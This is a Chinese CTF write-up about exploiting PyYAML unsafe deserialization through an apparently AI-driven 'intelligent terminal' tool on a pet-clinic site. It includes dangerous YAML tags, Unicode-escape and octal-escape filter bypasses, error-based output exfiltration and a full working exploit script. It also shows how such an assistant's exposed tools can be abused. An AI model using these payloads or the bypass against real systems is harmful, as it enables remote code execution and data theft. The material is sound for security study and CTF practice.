题目概况
这道题的核心是一个 HTTP 服务里的“智能辅助终端”。终端暴露了 parse_diet_recipe(yaml_content) 工具,而后端把我们给它的 YAML 交给了 PyYAML 处理。
虽然题目作者加了关键字拦截,但拦截只挡住了明文危险字符串,没有挡住 Unicode 转义后的等价内容,所以最后还是可以触发 PyYAML 的危险 tag,读出 /flag。
最终结果
flag{huang_he_liu_yu_@@@@@}
分析过程
1. 先确认服务类型
题目给的是 175.27.251.122:10001,先判断它到底是网页服务还是 nc 服务。
curl -i http://175.27.251.122:10001/
返回的是 Gunicorn 提供的网页,首页标题就是“喵喵宠物医院”。
2. 看前端 JS,找后端接口
页面的核心脚本在:
/static/js/main.js
从 JS 里能看到最关键的调用:
fetch('/api/terminal', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({command: cmd})
})
说明页面里的“智能辅助诊断终端”会把输入发送到 /api/terminal。
3. 直接问终端:你有什么工具
curl -X POST http://175.27.251.122:10001/api/terminal ^
-H "Content-Type: application/json" ^
-d "{\"command\":\"help\"}"
返回里会明确告诉我们它能调用两个工具:
read_local_record(pet_name)
parse_diet_recipe(yaml_content)
题目提示又专门提到 PyYAML 的 tag,到这里基本就能锁定方向是 PyYAML 反序列化。
为什么 PyYAML 危险
PyYAML 不只是把 YAML 解析成字典、列表、字符串。某些 loader 支持 Python 扩展 tag,例如:
!!python/tuple [1, 2]
!!python/object/apply:os.system ["id"]
如果后端错误地使用了危险加载方式,YAML 里的 tag 就可能直接调用 Python 对象甚至执行命令。
这类题常见危险 tag:
!!python/object/apply:time.sleep [5]
!!python/object/apply:subprocess.getoutput ["id"]
!!python/object/apply:os.system ["cat /flag"]
为什么能绕过黑名单
如果直接发这种内容:
parse_diet_recipe('!!python/object/apply:time.sleep [2]')
服务会直接报 403。
但这层拦截的问题是,它只检查“原始输入里有没有明文危险字符串”。如果把关键词拆成 Unicode 转义:
!!pyth\u006fn/object/apply:...
那么:
- 输入检查阶段看到的是
pyth\u006fn - 后续真正被解释时,它会还原成
python PyYAML最终拿到的仍然是危险 tag
这就是这题的绕过点。
利用步骤
Step 1. 验证终端入口
curl -X POST http://175.27.251.122:10001/api/terminal ^
-H "Content-Type: application/json" ^
-d "{\"command\":\"help\"}"
Step 2. 验证 parse_diet_recipe 可以正常工作
curl -X POST http://175.27.251.122:10001/api/terminal ^
-H "Content-Type: application/json" ^
-d "{\"command\":\"parse_diet_recipe('a: 1')\"}"
Step 3. 验证明文危险 tag 会被拦截
curl -X POST http://175.27.251.122:10001/api/terminal ^
-H "Content-Type: application/json" ^
-d "{\"command\":\"parse_diet_recipe('!!python/object/apply:time.sleep [2]')\"}"
这一步不是为了拿 flag,而是为了确认确实存在黑名单。
Step 4. 用 Unicode 转义绕过黑名单
把 python 变成 pyth\u006fn,把 subprocess 变成 subproce\u0073s,把 urllib 变成 url\u006clib。
一个无害探测 payload 可以写成:
!!pyth\u006fn/object/apply:subproce\u0073s.getoutput ["id"]
真正利用时,我用了“报错带数据”的思路:
!!pyth\u006fn/object/apply:url\u006clib.request.urlopen
[!!pyth\u006fn/object/apply:subproce\u0073s.getoutput ["id"]]
它的流程是:
- 先执行
subprocess.getoutput("id") - 拿到命令输出
- 把输出当作 URL 传给
urllib.request.urlopen - 因为它不是合法 URL,后端会抛异常
- 异常信息里会把这段字符串原样带出来
Step 5. 为什么不能直接 cat /flag
如果请求内容里直接出现 /flag,题目很可能继续命中黑名单,所以这里再做一层绕过,不在请求里明文出现 flag。
我用 shell 的 printf 八进制转义来拼路径:
printf "\57\146\154\141\147"
它对应的就是:
/flag
Step 6. 先转十六进制再回显
为了避免换行和特殊字符干扰,我让目标先把文件内容转成十六进制:
od -An -tx1 /flag | tr -d ' \n'
然后本地再解码回真正的 flag。
利用脚本
下面是我最后整理出来的脚本:
import json
import re
import sys
import time
import requests
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://175.27.251.122:10001"
def build_shell_command() -> str:
return (
"p=$(printf \"\\57\\146\\154\\141\\147\"); "
"[ -f \"$p\" ] && od -An -tx1 \"$p\" | tr -d \" \\n\"; "
"p=$(printf \"\\57\\146\\154\\141\\147\\56\\164\\170\\164\"); "
"[ -f \"$p\" ] && od -An -tx1 \"$p\" | tr -d \" \\n\""
)
def build_yaml_payload(shell_command: str) -> str:
escaped_cmd = shell_command.replace("\\", "\\\\").replace('"', '\\"')
return (
"!!pyth\\u006fn/object/apply:url\\u006clib.request.urlopen "
"[!!pyth\\u006fn/object/apply:subproce\\u0073s.getoutput "
f"[\"{escaped_cmd}\"]]"
)
def build_terminal_command(yaml_payload: str) -> str:
return f"parse_diet_recipe('{yaml_payload}')"
def extract_flag(response_text: str) -> str:
match = re.search(r"unknown url type: '([0-9a-fA-F]+)'", response_text)
if not match:
raise ValueError(f"unexpected response: {response_text}")
raw = bytes.fromhex(match.group(1)).decode("utf-8", "replace").strip()
return raw
def main() -> None:
shell_command = build_shell_command()
yaml_payload = build_yaml_payload(shell_command)
terminal_command = build_terminal_command(yaml_payload)
last_error = None
max_attempts = 12
for attempt in range(1, max_attempts + 1):
print(f"[*] attempt {attempt}/{max_attempts}")
try:
resp = requests.post(
f"{TARGET}/api/terminal",
json={"command": terminal_command},
timeout=60,
)
resp.raise_for_status()
data = resp.json()
print("[+] terminal response:")
print(json.dumps(data, ensure_ascii=False, indent=2))
flag = extract_flag(data.get("response", ""))
print(f"[+] flag = {flag}")
return
except (requests.exceptions.RequestException, ValueError) as exc:
last_error = exc
print(f"[!] retryable error: {exc}")
time.sleep(2)
raise SystemExit(f"exploit failed after retries: {last_error}")
if __name__ == "__main__":
main()
这道题真正考的东西
- 前端 JS 里找 API 路径
- 遇到“智能终端 / AI 助手”先看它暴露了哪些工具
- 看到
PyYAML就想到危险 tag 和反序列化 - 黑名单如果只是字符串匹配,就要考虑编码绕过
- 没有直接回显时,学会借错误信息把结果带出来
复盘
这题其实不是单点知识,而是一整套链路:
前端 JS 找到 /api/terminal
-> 终端 help 泄露 parse_diet_recipe
-> 结合题目提示锁定 PyYAML
-> Unicode 转义绕过黑名单
-> 用 !!python/object/apply 实现命令执行
-> 通过错误回显带出 /flag 的十六进制内容
-> 本地解码得到 flag
我觉得最值得记住的是两点:
- 黑名单绕过不一定靠花 payload,很多时候只是编码问题
- 命令执行后如果没法直接看结果,就去想“能不能借错误把数据带回来”
Discussion
评论区
欢迎交流、补充思路或指出文中的问题。